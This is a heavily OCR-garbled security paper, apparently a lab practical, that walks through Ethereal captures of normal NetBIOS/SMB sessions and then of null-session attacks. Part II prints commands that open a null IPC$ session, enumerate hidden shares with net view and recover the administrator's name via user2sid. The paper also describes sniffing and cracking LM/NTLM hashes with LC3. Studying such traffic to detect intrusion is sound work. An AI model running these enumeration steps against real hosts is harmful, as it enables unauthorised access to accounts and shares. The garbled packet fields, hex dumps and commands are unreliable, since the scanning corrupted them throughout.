Mode IpAddress: [18.89.8.5%8]1 Scope Id:- [1]

MetBIOS Remote Machine Mame Tahle

Mame Type Status
TESTHAN <BA> UNIGUE Registered
TESTHAN €£28> UNIQUE Registered
WORKGROUP £@A> GROUP Registered
TESTHAN @3> UNIGUE Registered
WORKGROUF <1E> GROUP Registered
ADMINMISTRATOR <#3> UNIGQUE Registered
WORKGROUP <1D> UNIQUE Registered
-e_MEBROWSE__.<@1> GROUFP Registered

MAC Address = BB-AB-CC-63-BB-32

Figure 32. Nbtstat screen output

NBNS (NetBIOS name service) runsin the session layer (5 for the OSI model). It runs from port 137 to
137 viaUDP.

4 5.731783 10.0.0.50 10.0.0.100 TMENS  Name guery NESTAT #<00><00%<0i

5 5.7320584 10.0.0.100 10.0.0,50 MBS pame guery response NESTAT

El NetEIOS Mame Serwvice
Transaction ID: OxB0%e
EFlags: 0xB3400 (Mame gquery response, Wo error)
guestions: 0O
Answer RRs: 1
Authority RRs: O
Additional RRs: O
H answers
B *<00><00><00><00><00><00><005 <00 <00><00><00><00><005><00><005 1 Type MBSTAT
Mame: *<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>
Type: MNESTAT
Class: inet
Time to Tiwve: 0 time
Cata length: 191
Mumber of names: B
Mame: TESTMAM <00 (workstation/Redirector)
B mame flags: 0x400 (E-node, unigque, actiwve)
a... cirr oa.. = Unigue name
o0, L., E-node
N ¢ Mame i= not being deregistered
Oeve vine wenn Mame s not in conflict
1o .o. ... = Hame s actiwve
cee. 2200 L. L... = NOT permanent node name
Mame: TESTMAM <20 (Server service)
B mame flags: 0x400 (E-node, unigque, actiwve)

Figure 33. Ethereal display showing nbtstat response

The most important things to take from this output are:. TESTMAN is the name of the computer <00>,
has sharing enabled <20>, and is registered by the messenger service <03>. This means if you wanted to
graphically browse this computer you could add TESTMAN to your Imhosts file. NetBIOS was
originaly designed as aloca network protocol, where server names were automatically matched to their
IP addresses. Once TCP/IP support was added, Microsoft needed a way to perform server nameto IP
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address matching for remote domain controllers and servers. The Imhostsfile doesthis. Lastly we see
that the administrator islogged in (unless the sysadmin is tricky and renamed the admin account).

Now | want to connect to TESTMAN to see what shares are available. | add the correct entry to my
Imhosts file and start up Microsoft Network. | loginto TESTMAN (10.0.0.100) as administrator, but I'm
forgetful and make three incorrect entries before authenticating. Just this small step generates awhole
heap of traffic:

6. 734886

1028 > nethios-ssn E

o=1 15
k

G.735146 10.0.0.100 10.0.0.50 TCP nethios-ssn > 1028 [S¥M, ACK] Seq=281174
L& 6, 735189 10.0.0.50 10.0,0.100 TCR 1028 » nethios-ssn [ACK] Seq=1562215887 !
L7 6.735245% 10.0.0.50 10.0,0.100 MNESS Session reguest
18 §.735486 10.0.0.100 10.0.0.50 MESS Positive session response
1% 6.735667 10.0.0.50 10.0.0.100 SME Megotiate Protocol Reguest
20 §.736263 10.0.0.100 10.0.0.50 SME Megotiate Protoco]l Response
21 6,7379%1 10.0.0.50 10.0.0.100 SME Tree Connect and< Request, Path: MWTESTMS
22 §6.739634 10.0.0.100 10.0.0.50 SME Tree Connect Andx Response
23 6.740029 10.0.0.50 10.0.0.100 LAMMAN  MetServerEnum2 Request, workstation, Ser.
24 6,819945% 10.0.0.100 10.0.0,50 LAMMAN  MeTServerEnumd Response
2% 6,574109 10.0.0.50 10.0,0.100 TCP 1028 » nethios-ssn [ACK] Seq=1562216418 !
26 9.450778 10.0.0.50 10.0.0.100 SME Tree Connect andx Reqguest, Path: MWWTESTMS
27 9.590256 10.0.0.100 10.0.0.50 TCP nethios-ssn > 1028 [ACK] Seq=251525% Ack=]
28 12.454468 10,0.0.100  10.0.0.50 SME session setup Andx Response, Error: STATL
0 77 ARSAAS TN N N &N 1N N N 1nn <hR Tres ronnect andy Reamiast  pathes WY TESTML

| |
RIS =R [ R WAV 3 a Q= = B P T ) LT A= el = T B i |
Type: IP (0x0800)
B Internet Protocol, Src Adde: 10,0.0.50 (10.0.0.500, D0st Adde: 10.0.0.100 (10.0.0.1000
version: 4
Header Tength: 20 bytes
Hroifferentiated services Field: 0x00 (Dpscp Qx00: pefault; ECH: QX000
Total Length: 48
Identification: Ox0051
EHFlags: Ox04
Fragment offset: 0
Time to Tive: 128
Protocol: TCP (0x06)
Header checksum: OxeSel (correct)
Ssource: 10,.0.0.50 (10.0.0,500
Cestination: 10.0.0.100 (10.0.0,1000
B Transmission Control Protocol, Src Port: 1028 (10280, Dst Port: nethios-ssn (139, Se
Source port: 1028 (1028)
pestination port: nethios-ssn (139)
Sequence number: 1562215886
Header Tength: 28 bytes
EHFlags: Ox0002 (SYN)
window size: 16384
Checksum: Q0x470F (correct)

Figure 34. Setting up a SMB session

Asyou can see |l (Bongo) send a SYN to Testman on port 139. The basic info gets passed (Seq
umber=1562215886, Src Port=1028, etc, etc.) and the handshake is completed. What | know so far (by
looking only at this Ethereal output) isthat Networking isinstalled on Testman, but | don’t know yet if
there are any open shares. Next welook at the NBSS (NetBIOS Session Protocol, TCP, Layer 5) session
request, Figure 35. It isherethat | give my computer name and the name of the server | want to connect
to.
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Message Type: Session reguest
B Flags: 0x00
.0 = add 0 to Tength

Length: 68
Called name: TESTMAN 20> (server service)
Calling name: BONGO <00> {workstationsRedirector)

Figure 35. Bongo requestsa NetBIOS session with Testman

Testman returns a positive session response, so we know that there are shares we can connect to.

Now we go up two layersto layer 7 and SMB (Server Message Block). Thisrides atop NetBIOS and is

responsible for the majority of the action we will be seeing from here on out. See the two references at

the end for more information on SMB.

B MetBIOS Session service
Message Type: Session message
HFlags: 0x00
£ .0 = add 0 to Tength
Length: 133
B sME (Server Message Block Protocol)
Message Type: OxFF
Server Component: SME
SME Command: SMEnegprot (0x72)
Status: Ox00000000

Figure 36. SMB Negotiate Request

Firgt, | need to tell the server what protocols | am capable of supporting. These range from the weak

Lanman 1 protocoal, to the newer Lanman 2.1, and finally the strongest NTLM authentication. As most of
you know, Lanman uses much weaker encryption than NTLM and has it’s password broken up into two

8-byte chunks (7 bytes password, 1 bytefiller). However, Windows is backwards compatible and will
send both hashes to authenticate. Lophtcrack version 3 (LC3) is now capable of sniffing SMB sessions

and cracking the passwords sent over the wire. It isvery capable and was able to crack several test

passwords | threw at it in under 10 minutes (i.e. sun@fire! broke within 5 min). Picture below shows

LC3inthe middle of cracking this password.

& LC3 - [Untitled1]

Fle View Import  Session  Hep

P A =R TR T

Lisar Marme | LI Passweard | <B | MNTLM Password | L Hash
ﬂﬁ.d-l‘rinistratnr TIFTTYTRE] EOB3ATIBOM ST 105338 C T FFE1B2ACAZF
£Gmst * emnpky * % * empky * LADEEE SRS 1404EE ARDEE435E5 1 404EE

Figure 37. Lophtcrack version 3 cracking the Lanman hash

Y ou can even manually create your own files from network traffic to feed to LC3 for cracking. Lets
continue with the SMBnegprot (negotiate protocol) request. | send the following options, shown in
Figure 38, to Testman.
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Dialect Marker: 2

Dialect: PC WNETWORK PROGRAM 1.0
Dialect Marker: 2

Dialect: LANMANL.D

Dialect Marker: 2

Dialect: windows for workgroups 3.1a
cialect Mmarker: 2

Dialect: LML1.2x002

Dialect Marker: 2

Dialect: LANMANZ .1

Dialect Marker: 2

Dialect: WT LM 0D.12

Figure 38. Dialects Bongo can support

Asyou can see Bongo is capable of using most dialects.

Security User

Passwaords Encrypted

Security signatures not enahled
Security signatures not reqguired

0.. =

Figure 39. Testman indicatestherequired dialect

This means that the dialect used must be greater than Lanman2.1, most likely NTLM. Of course, both
Lanman and NTLM hashes end up getting sent as described before.

Now it istime for the most important part, the password authentication. SMBsesssetupx (SMB session
setup) is where the passwords get transmitted and checked. The documentation that comes with
Lophtcrack describesin great detail this process. What we are really interested in is the share | am trying
to connect to and if it was successful. In my case, since | am on the same network as Testman and | am
connecting through a GUI interface, output is alittle weird. Thefirst few lines| didn’t make (the
computer automatically tried to connect). So lets see what Bongo tried to do.

First thing | seeisthat a session setup was attempted and the target share was: Why is
Bongo trying to connect to the IPC$ share, | thought only hackerstried to. Turnsout that thisis business
asusual for machineson aLAN. Still | would like to know what type of access a computer can
automatically obtain and if Bongo will be denied. Looking at the SMB traffic further we see that a NULL
session was attempted. A Unicode password length of zero indicates this.

AMNST ACCOUNT Fasswors

UNICODE Account Password Length: ©
Reserved: 0

Figure40. Password length indicatesa NULL session
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Bl sMB (Server Message Block Protocol)
Message Type: OxFF
server Component: SMB

SMEB COommanc: SMEsesssetups [Unss )
sStatus: Ox00000000
Fl Elans: Ox18

=l

TUUU U0 4U CC B3 OU 32 US U0 &4 29 62 U2 UB Uo 43 U0 SRS S | =2 e
0010 00 e6 00 33 40 00 80 06 e5 27 0a 00 00 32 O0a 00 e - ERRe R e
0020 00 &4 04 04 00 8b 5d 1d B6 a0 00 04 4a cO 50 18 I o O s I .
0030 44 07 <% 66 00 00 00 00 00 ba ff 33 4d 42 g% 00 D..f.... ...sMEH.
0040 00 00 00 18 07 <B 00 00 00 00 00 OO0 00 00 A0 e e
0050 00 00 00 00 fF Fe 00 OO0 40 00 0Od 75 00 Ba 00 4  ........ 8. .U....
000 11 32 Q0 Q0 00 Q0 00 Q0 00 01 00 00 QO 00 00 00 s€rasras sraranaa
0070 00 o4 00 00 00 4d 00 00 00 00 00 00 57 00 6% 00  ..... M.. ....w.1.
O0BO Ge 00 64 00 &F Q0 77 00 73 00 20 00 32 00 30 00 n.d.o.w. 5. .2.0.
0090 30 00 30 00 20 00 32 00 31 00 39 00 35 00 00 00 D0 s de A b
00aQ0 57 00 62 00 6e Q0 64 00 6F QO 77 00 73 00 20 00 w.i.n.d. o.w.5. .
00b0 32 00 30 00 30 00 320 00 20 00 35 00 Ze 00 30 00 20,0000 oh.. .0
00cO 00 00 00 00 04 £f 00 ba 00 OB 00 01 00 25 00 00  ........ ..... ..
00d0 Sc 00 Sc 00 54 00 45 00 53 00 54 00 4d 00 41 00 %.\.T.E. 5., T.M.A
00ed 4e 00 5c 00 49 00 50 00 43 00 24 00 00 Q0 3f 3F N.%.I.P. C.%...77
oofo  3F 3F 3F 00 S

Figure4l. Session Setup requesting accessto the IPC$ share

Now letslook at Testman’ s response to see if the attempt was successful:

B SME [Server Messafe B < Protoco

Message Type: OxFF

Server Component: SME

SME Command: SMBsesssetupx (0x73)
Status: 0x00000000

Figure42. Positive Session Response

What I'm looking for isthe value in the status section. In this case the value is 0x00000000 or O and isa
sign of success. The next few lines are the result of searching through the Microsoft Windows Network
for servers. ThisLANMAN call is performing a Netserverenum2 (Network Server Enumeration).

B Microsoft windows Lanman Protocol
Function Code: MetSerwverEnum2
Status: 0
Comvert: 4173
EnTry Count: 1
Available Entries: 1

B servers
B server TESTMAN
Server mMame: TESTMAW
Major wversion: 4
Minor version: O
B server Type: 0x00059003
e workstation
tere maae e ..l. = SErVEr

Figure 43. Network Server Enumeration Response
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Starting at Frame 26, Figure 34, iswhere | am manually trying to connect as administrator to Testman.
They clearly show (password length) that these new login attempts are not NULL sessions. Ethereal also
shows that | am attempting to connect to the |PC$ share as administrator, Figure 45.

AMSI Password Length: 24

Unicode Password Length: 24

rReserved: 00000000

Capabilities: 0x000000d4

Byte Count (BCC): 161

AMST Password: DEOZEEZBDECAIFESFODCF3I2ZBRCDCEEE. . .
Unicode Password: S9EBFAEFAAS3ZSFEDEDAEFOAZZSA40FA, | .
Account: administrator

Primary Domain: BOMGEO

Figure44. Login attempt as administrator

obo He 00 69 00 73 00 74 00 72 00 61 00 74 00 &F 00 n-Y.5.t. r.a.t.o.
0ch 72 00 00 00 42 00 4F 00 4e 00 47 00 4F 00 00 00 FowoB.0. NGO, .o
0d0 57 00 69 00 e 00 &4 00 &F 00 77 00 73 00 20 00  w.i.n.d. o.w.s. .
W0e0 32 00 320 00 30 00 20 00 20 00 32 00 31 QO 29 00 2.0.0.0. .2.1.9,
of0 35 00 00 00 37 00 6% 00 6e 00 &4 00 &F 00 77 00 5...W.7. n.d.o.w.
00 73 00 20 00 32 00 30 00 30 00 30 00 20 QO 35 00 . 2.0, 0.0, .5,
110 2e 00 30 00 00 00 00 00 04 £ 00 Oe ¢1 08 00 01 cullionss sasensas
120 00 25 00 00 5¢ 00 5¢ 00 54 00 45 00 53 Q0 54 00 NN T.ELS.T.
130 4d 00 41 00 4e 00 5c 00 49 00 50 00 43 00 24 00 M.A NN, ILP.C.3
140 00 00 3F 3f 3F 3f 3F 00 Bz irie ri e

Figure45. Attempt to connect to IPC$ share

Response from Testman is shown below.

—

B SME [(Server Messade Block Protoco

Message Type: OUxFF

Server Component: SMB

SME Command: SMBsesssetupx {0x73)
Status: OxcO0000&6d

Figure 46. Failed login attempt

Thiswas one of my bad passwords, as shown by the Status value of: 0xc000006d. There are several more
unsuccessful attempts all with the same status value. There are several other values and responses that
indicate an unsuccessful login attempt. Some are as simple as “bad password” or “login failure”’, while
othersare acryptic hex value. Finaly, | type the correct password and | am logged in to Testman.

SME (Server Message Block Protocol)
Message Type: OxFF
Server Component: SMB
SME Command: SMBsesssetupx (Ox73)
status: Ox0Q0000000

Figure47. Successful Session Setup
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It is obvious that the last authentication attempt was successful, as aflurry of network traffic results.
Also, several new commands are seen and all of the attempts are valid. Several of these commands may
be unfamiliar so | amincluding a brief chart of common SMB commands and an explanation as a
reference. Useit in conjunction with the Ethereal output.

I am amost there. All | need to do now is connect to the secret share on Testman and read my file.
Remember once again that my 1P is (10.0.0.50, Bongo) and Testman is (10.0.0.100). Y ou will probably
be looking at NetBIOS traffic with IP’s only and not the resolved names, for increased speed.

200 210.0.0.50 10.0.0.100 DCERPC  Reqguest: opnum: 16 ctx_id:0

201 Z10.0,0,100 10.0.0.50 DCERPC  Response: call_dd: 1 ctx_id:o

202 2 10.0.0.50 10.0.0.100 SMEB Close Reguest, FID: Ox080e

203 2 10.0.0.100 10.0.0.50 SME Close Response

204 z10,0.0.50 10.0.0.100 SME Tree Connect Andx Reguest, Path: “N\TESTMANNSECRET
205 2 10.0.0.100 10.0.0.50 SMEB Tree Connect andx Response

206 2 10.0,0.50 10,0, 0,100 SME TransactionZ Regquest QUERY_PATH_INFORMATION, Path
207 ¢ 10.0.0.100 10.0.0.50 SME TransactionZ Response QUERY_PATH_INMFORMATION

208 z 10.0.0.50 10.0.0.100 SMB Transactionz Regquest QUERY_PATH_IMFORMATION, Path
208 2 10.0,0.100 10.0.0,50 SME TransactionZ Response QUERY_PATH_IMFORMATION, Err
210 2 10.0.0.50 10.0.0.100 SME Transactionz Reguest FINMD_FIRSTZ, Pattern: "W

211 2 10.0.0.100 10.0.0.50 SME Transaction? Response FIMD_FIRSTZ, Files: . .. cs
212 z10.0.0.50 10.0.0.100 SME MT Create Andx Reqguest, Path:

213 z 10.0.0.100 10.0.0.50 SME MT Create andx Response, FID: Ox080f

214 2 10.0.0.50 10,0, 0,100 SME MT Transact Request, NT MOTIFY, FID: Ox080f

215 2 10.0,0,100 10.0.0,50 TCP nethios-ssn » 1036 [ACK] Seq=535168%1 Ack=33599%945
216 2 10.0.0.50 10.0.0,.100 SME MT Transact Request, MT MOTIFY, FID: Ox050f

217 2 10.0.0.100 10.0.0.50 TCP netbios-ssn » 1036 [ACK] Seq=535168%1 Ack=3399045F
218 2 10.0.0.50 10.0.0.100 SME MT Create Andx Reqguest, Path: “\srwswc

219 = 10.0.0.100 10.0.0.50 SMEB MT Create andx Response, FID: Ox1000

220 z10,0.0.50 10.0.0.100 SME write andx Request, FID: Ox1000

221 z10.0.0.100 10.0.0.50 SME write Andx Response, FID: 0x1000

222 :10.0.0.50 10.0.0.100 SME rRead Andx Request, FID: O0x1000

223 z10.0.0.100 10.0.0.50 SME Read Andx Response, FID: Ox1000

224 :10.0.0.50 10.0.0.100 DCERPC  Request: opnum: 16 ctx_id:0

225 z10.0.0.100 10.0.0.50 DCERPC  Response: call_dd: 1 ctx_id:0

226 2 10.0,0.50 10,0, 0,100 SME Close Request, FID: Ox1000

227 £ 10,0.0.100 10.0.0.50 SMEB Close Response

228 2 10.0.0.50 10.0.0.100 SME MT Create Andx Request, Path: “wksswvc

2259 2 10.0,0.100 10.0.0,50 SME MT Create Andx Response, FID: Ox1001

230 z10.0.0.50 10.0.0.100 SME write andx Request, FID: Ox1001

231 2 10.0.0.100 10.0.0.50 SME write and< Response, FID: 0x1001

232 2 10.0.0.50 10.0.0.100 SME Read And< Request, FID: Ox1001

233 z10.0.0.100 10.0.0.50 SME read andx Response, FID: Ox1001

234 z10.0.0.50 10.0.0.100 DCERPC  Reqguest: opnum: O ctx_id:0

235 z10.0,0.100 10.0.0.50 DCERPC  Response: call_dd: 1 ctx_id:o

236 2 10.0.0.50 10.0.0.100 SMB Close Reguest, FID: 0x1001

237 2 10,0,0.100 10, 0.0.50 SME Close Response

Figure48. SMB Traffic after a (GUI) share connection

| authenticate to the secret share (on Windows NT and 2000 authentication is usually based on user
permissions and not passwords per share) as shown in Figure 49. Soif | had logged in to Testman asa
normal user and set the Secret share to be administrator only, | would be denied access. Y ou can see
where | actually connect to the share (SMBtconx response in Frame 205, Figure 48). Now | am going to
open info.txt. An SMB Query and Find command locate info.txt and after alot of extrainformation from
NetBIOS, | finally read the information | was looking for along time ago. It reads, “Meeting at 1800...at
the AFCERT”. Thisiswhere using the TCP Stream option might prove to be useful. Although it doesn't
give you in depth technical information, it does allow you to quickly seeif alot of data was transferred
and the shared/files that were accessed. Figure 50, shows the Read Response.
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174 z10.0.0.50 10.0.0.100 SME NT Create And< Reguest, Path: “Wsrvswc
175 2 10.0.0.100 10.0.0, 50 SME MT Create Andx Response, FID: Ox080cC
176 z 10.0.0.50 10.0.0.100 SME write Andx Regquest, FID: 0x080c
177 2z 10.0.0.100 10.0.0,50 SME write andx Response, FID: O0x080cC
1758 z 10.0.0.50 10.0,0,100 SME Fead andx Request, FID: Ox080cC
179 z 10.0.0.100 10.0.0,50 SME Read andx Response, FID: Ox080cC
‘ 0.0 L0 O DCERPC  Reguest: opnum: 16 ctx_ 1d:0
181 =z 10.0.0.100 10.0.0.50 DCERPC  Response: call_dd: 1 ctx_id:0
182 - 10.0.0,50 10.0.0.100 SME Close Reousst. FID: Ox080c

I I
FaOoTig T ooy
B sME Pipe Protocol
Function: TransactumPipe (0x0026]
FID: Ox080c

B DCE RPC
|
00k0 00 00 0a 00 00 00 S5c 00 SC 00 54 00 &5 00 F3I o000 ...... Y. MW.T.E.5.
Qoco 74 00 &d 00 &1 00 G 00 00 00 OF Q0 00 00 00 00 ToMeduFe weevnnas
0odo 00 00 OF 00 00 00 53 00 &% 00 &3 00 F2 00 &5 00 ...... S. B .C.r. e,
QoOed 74 00 00 00 OO0 00 Ol 00 Q0 Q0 T....... ..

Figure49. Authentication with the Secret share
245 Z 10.0.0.50 10.0.0.100 SMB NT Create Andx Request, Path: “info.txt
246 2 10,0.0.100 10.0.0.50 SME MT Create Andx Response, FID: 0Ox1002
247 2 10.0.0,50 10.0.0.100 SME read and< Request, FID: Ox1002
248 .00 L 0.0 andx Response, FID: Ox100Z
248 : 10.0.0.50 10.0.0.100 SME TransactionZ Request QUERY_FILE_INFORMATION, |
250 2 10.0.0.100 10.0.0.50 SMB Transaction?Z Response QUERY_FILE_IKFCORMATION

H MetBIOS Session Service

HsME (Server Message Block Protocol)
B SME Header
B read andx Response (0x2e)

UuIU Ug Uo 0§ Ud 11 18 UL U8 &L L Ul 11 0U Ug U 11 -....... Mocooaos
Qo0 ff 00 00 00 00 25 00 3c 00 00 00 00 00 00 QO 00 ..... Z0%® oooooboao
0070 00 00 00 26 00 01 4d 65 65 74 6% 6e 67 20 61 74 L..& Me eting at
0080 20 31 38 30 30 2e 2e 2e 2e 2e 2e 0d 0a 41 74 20 1800... ..., AT
goeo 74 68 65 20 41 46 43 45 52 54 Ze the AFZE RT.

Figure50. Reading the contents of info.txt

Before we proceed to techniques used to hack NetBIOS/SMB, lets [ook briefly at SMB extended security
and encrypted SMB Session Setups. These new features, incorporated in SMB over TCP/IP, can be
found in Windows 2000 and XP. If you' re expecting to review hashes and account password length to
determineif aNULL session was hegotiated or if a user account was accessed, you will bein for a
surprise. Encryption, as expected, protects information such as password length and hash values from an
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attacker sniffing traffic on your network. However, it till shows the name of the user that islogging in.
The figure below shows an example of an encrypted login.

10 66, 349872 10.1.1.5%0 10.1.1.10 TCF 1030 » microsoft-ds [SvW] Seq=78713504

12 66,350160 10.1.1.10 10.1.1.50 TCF microsoft-ds » 1030 [S¥N, ACK] Seqg=371

13 66,350200 10.,1.1.50 10.1.1.10 TCF 1030 » microsoft-ds [ACK] Seq=78713504

16 66.350803  10.1.1.50 10.1.1.10 SME Megotiate Protocol Reguest

17 66.354277 10.1.1.10 10.1.1.50 SME Megotiate Protocol Response

18 66.358541 10.1.1.50  10.1.1.10 SME Seszion Setup andx Reguest

1% 66.361535  10.1.1.10  10.1.1.50 SME Sesszion Setup andx Response, Errar: ST
el L1.1. L1.1. 5 Setup Andx Reguest

21 &4,388262 10.1.1.10 10.1.1.50 SME Sesszion Setup Aandx Response, Errar: ST

Wio MU - U
Session Key: 0xQ0000000
Security Blob Length: 174
Reserved: Q0000000
H Capabilities: 0x800000d4
Byte Count (BCCH: 247
Security Blob: 4E544C4D535350000300000018001800. ..
Mative O5: windows 2000 21595
Mative LAN Manager: windows 2000 5.0
Primary Domain:

UU/U UU OO BU T/ UJ 48 34 4C 40 33 03 o Ud U5 Uu ugdo L. ... ML Ms=F. ..
0080 00 18 00 18 00 e 00 00 00 18 00 18 00 86 00 00 ..... Moo oooooooa
0090 00 0a 00 0a 00 40 00 00 00 1a 00 la 00 4a 00 00 ..... oo ooooo 1.
00at 00 0a 00 0a 00 &4 00 00 OO0 10 00 10 00 92 00 00 ..... @Bloo oooooooo
oob0 00 15 82 B8 c0 42 00 4fF 00 4e 00 47 00 4F 00 6L ..... B.

00cO 00 64 00 6d 00 69 00 6e 00 6% 00 73 00 74 00 72 Ldom. .
00do 00 61 00 74 00 6f 00 72 00 42 00 4f 00 4e 00 47 La.T. o
Oo0ed 00 4f 00 66 13 54 b0 8F df 00 9c 00 00 00 OO0 OO o fFLTe
oofo 00 00 00 00 00 00 00 00 00 00 00 59 1f b4 ag de L....... -
0100 al 2d e2 19 a% le 35 15 22 18 00 ee 2f 43 fa 98 R

0110 <4 da 57 61 4% bf fc 48 2b c7 4c 47 5h 4e 8d 68 ..wWa et
0120 3f 8 5e Q0 57 00 69 00 &e 00 &4 00 &F 00 77 0O 7oA
0130 73 00 20 00 32 00 30 00 30 00 30 00 20 00 32 00 S
0140 31 00 39 Q0 35 00 00 00 57 00 6% 00 G6e 00 &4 00 1

Figure51. Encrypted Session Setup

Theinitia connection is dlightly different than that of the older NetBIOS session protocol (via TCP 139).
First, the three-way handshake is established over port 445 (shown in Frames 10-13, Figure 51 as
microsoft-ds). Notice how there is no NetBIOS session setup, as SMB now rides directly over TCP.
Now the protocols are negotiated with the destination server indicating that passwords will be encrypted.
Next, the user sends the encrypted password as part of the “ Security Blob” field. The server responds
with an error, but thisis normal asit indicates “ Status More Processing_Required”. This means that
there is more authentication information on its way from the client. The second Session Setup Request
containsthe final part of the password authentication and contains the username of administrator. You
have to look in the ASCII display section to see this. In the example above, the middle computer
name/username sectionis. (4e 0047 0061). Thistrandatestothe ‘GO’ in BONGO and the‘a in
administrator. Inthe case of a NULL session the above sequence would be (4e 00 47 00 00). Notice how
the last value is 00, which indicatesa NULL username. Also, aNULL session will typically have a
security blob length under 100, while an authenticated login will be in the area of 150 to 250.

And that isit!!! Thiswill giveyou an idea of what normal NetBIOS/SMB traffic looks like and better
prepare you to spot hackers/brute forcing etc....



PART II: Hacking NetBIOS/SMB

This section will concentrate more on the Ethereal output of intrusion/enumeration attempts and not the
actual commands used to hack NetBIOS.

LanGuard: Fast tool that can scan asingle computer or domain and enumerates shares, usernames,
registry entries, etc. LanGuard also has other scanning capabilities.

Redbutton Hack:

Isavery old hack, affecting Windows NT Servers older than SP3. New NT/2000 servers can still give up
information if not configured properly, and you never know when an admin will put a default server up.

It took advantage of the NT NULL Session to determine current Administrator name, al available shares,
and open registry entries. The redbutton tool did it automatically. These are some of the commands it
used.

First | create a NULL session with Testman: c:\ net use[;;UUU;UUVQ% “” Juser:administrator

[&@redbutton - Ethereal

File Edit Capture Display Tools

Nu.lTime Source [Desttnaﬂun !F'n:ntcrcul ilnl‘n
1 0. 000000 0.00a0ccE3b032 0. FFFFFFEFFrfreer IFx SAP General Respanse
2 128877 bongo TESTMAN 1322 » microsoft-ds [SvN]
316.130120 TESTMAN hongo TCR microsoft=-ds > 1322 [RST,
4 16.130316 bongo TESTMAN TCP 1323 » netbios-ssn [svw] =
5 16,130515 TESTMAN hongo TR nethios-ssn > 1323 [SYM, &
& 16.130544 bongo TESTMAN TCR 1323 » nethios-ssn [ACK] =
7 16,130602 bongo TESTMAN MESS Session reguest
B 16,130853 TESTHMAN hango HESS positive sessfon rasponsse
% 16,131382 bongo TESTMAN SME SHEnegprot Request

10 16.131956 TESTMAN hango SME SMER2gprat Rasponse

11 16.171%78 hongo TESTMAN SME SMESES558T U REqUesT

12 16.173647 TESTMAN hongo SHE SMBsesssetupx Response

13 16.1737748 bungn TESTMAN SME SMENLCreatex Requast

14 16.175070 TESTMAN hango SME SMENTCreate: Response

15 16.175479 bongo TESTMAN SHE SMEwriTex Request

16 16.176239 TESTMAN hango SME SMEwr iTex Responss

17 16.176397 bhonoo TESTMAN SME SMBroad: Reausst

HFrame 2 (62 an wire, 42 capturad)

H EThernet II

@ Imternet Protocol, Src Addr: bongo €10.0.0,500, Dst addr: TESTMaM {100, 0 1007

B Transmiszion control Protocol, src port: 1322 (13220, Dst port: microsoft-ds (4450, seq: 1
Source port: 1322 (13227

pestination port:
Seguerice Pumber: 1677017200

Header length: 28 bytes
FcTames » Owdiin? O k™

Figure52. Successful NULL session login

There are a couple of interesting things here. First, look how bongo (10.0.0.50) attempts to connect to
port 445 (microsoft-ds) first. Thisisthe equivalent of port 139 for Windows 2000 and XP. Testman
sends a reset, bongo then sends the SY N to port 139, the three-way handshake is established, and finally
session and protocols are negotiated. Now we see that a session setup is requested. Therequestisa
NULL session with administrator asthe user. The traffic looks exactly the same asin the “normal traffic”
section, and is successful.
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Now | can list sharesthat | normally would not be able to see: ¢:\ net view \\10.0.0.100

Shared resources at ~~18.8.8.166

Share name Type Used as Comment
C Diszk
Secret Disk

The command completed successfully.

19 16177001 10.0.0.50 10.0.0.100 DCERPC  RequesT: opnum: 15  ctx_id:0
_____ L0.0.100 L 0. DCERPC  Response: =K

21 16.179348 10.0.0.50 10.0.0.100 SME Close Request, FID: 0x0800
22 16.180015 10.0.0,.100 10.0.0.50 SMEB Close Response
- eaaer ===
B Transaction Response (0x25)

3 SME Pipe Protocol

O DZE RPC

|

o LAY [V IV VI IV VIV T v IV v ) L = N A L N o T L I s o 0 n u s

J110 00 00 OF 00 00 00 41 00 44 00 4d 00 4% 00 42 00 L..... Al D.MLIVN

J120 24 00 00 00 00 00 Od 00 00 00 00 00 00 00 Od 00 i s i e

J130 00 00 52 00 &5 00 Ad 00 &f 00 74 00 85 00 20 00 ..R.e.m. Oo.t.e

J140 41 00 &4 00 &d 00 69 00 Ge 00 00 00 00 00 05 00 a.dom.i. neLoa..

2150 00 00 00 00 Q0 Q0 05 00 00 Q0 49 00 50 00 42 00 C....... LLILPLC

J1a0 24 00 00 00 00 00 Ob 0O 00 00 00 00 00 00 Ok 00 i s i e

J1F0 00 00 52 00 &% 00 ad 00 a&f 00 T4 00 85 00 20 00 P = U R T =

JLE0 49 00 S50 00 43 00 00 Q0 00 Q0 03 00 00 Q0 QO 00 R =

J190 00 00 03 00 Q0 00 43 00 24 00 00 Q0 00 00 Qs Q0 ...... [

Jlad Q0 Q0 Q0 00 Q0 00 Qe QO 00 Q0 44 00 85 00 68 00 ........ LD.oe f.

Jlb0 &1 00 F5 00 fc 00 F4 00 20 00 73 00 68 00 &1 00 a.u. 1.t s.h.a.

Jlc 72 00 ab 00 00 00 08 Q0 00 Q0 00 00 00 Q0 08 00 O

J1do 00 00 49 00 41 00 53 00 31 00 24 00 00 OO0 01 00 LILAGS. 1%, ...

DlED 00 00 Q0 00 Q00 Q0 01 0O Q0 Q0 Q0 00 Q0 00 O0F 00 ... ...h coiniaan

Figure53. Intruder enumerates shares

Then | determine the SID (Security Identifier) of Testman:

C:\user2sd %“teﬁmaﬂ’

5-1-5-21-713231380—198978898-14844582

Mumber of subauthorities is 4
Domain is TESTHMAKW

Length of SID in memory is 24 hytes
Type of SID iz SidTypeDomain
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Now using thisinformation, | determine the administrator’s name (even if it has been changed):

Mame iz Administrator
Domain is TESTHAN
Type of SID iz SidTypelser

One of Ethered’ s shortfallsis analyzing named pipes (/PIPE) and other more complex Microsoft
functions. With the latest edition, its capabilities come very close to that of Microsoft’s Network
Monitor. Still, evenin earlier versions of Ethered, it is possible to see what data was transmitted.

L G et o g Sy=mes e e s ae A S s 2 e

45. 358139 TESTMAN " w RESPONnse
63 45.336350 bongo TESTMAN SMB “PIPEY Reguest
64 45.340041 TESTMAN bongo =MB “PIPEY, Response
65 45.340232 bongo TESTMAN =MB sMBclose Regquest
66 45.5340848 TESTMAM bongo SMB SMB<lose Responsé
67 45.507127 bongo TESTMAMN TCP 1323 > netbios-s:

¥ = ¥

E nMetBIos session service

B =M (Server Message Block Protocol)
Message Type: OxFF
Server Component: SMA
SMB Command: sMBTrans {0x25)
Statuws: Owdga00000

e B e R P T )

=

0000 0B 00 46 29 B2 d2 00 a0 cc 63 B0 32 08 00 45 00 waFDeaws oGadasEs
Oo0dg 01 20 03 Qe 40 00 830 06 e2 34 0a 00 00 64 Oa 00 A L R
0020 00 32 00 Bb 05 2b 03 cO0 dB b3 64 03 c8 b9 50 1B i RPN LN |, N I8
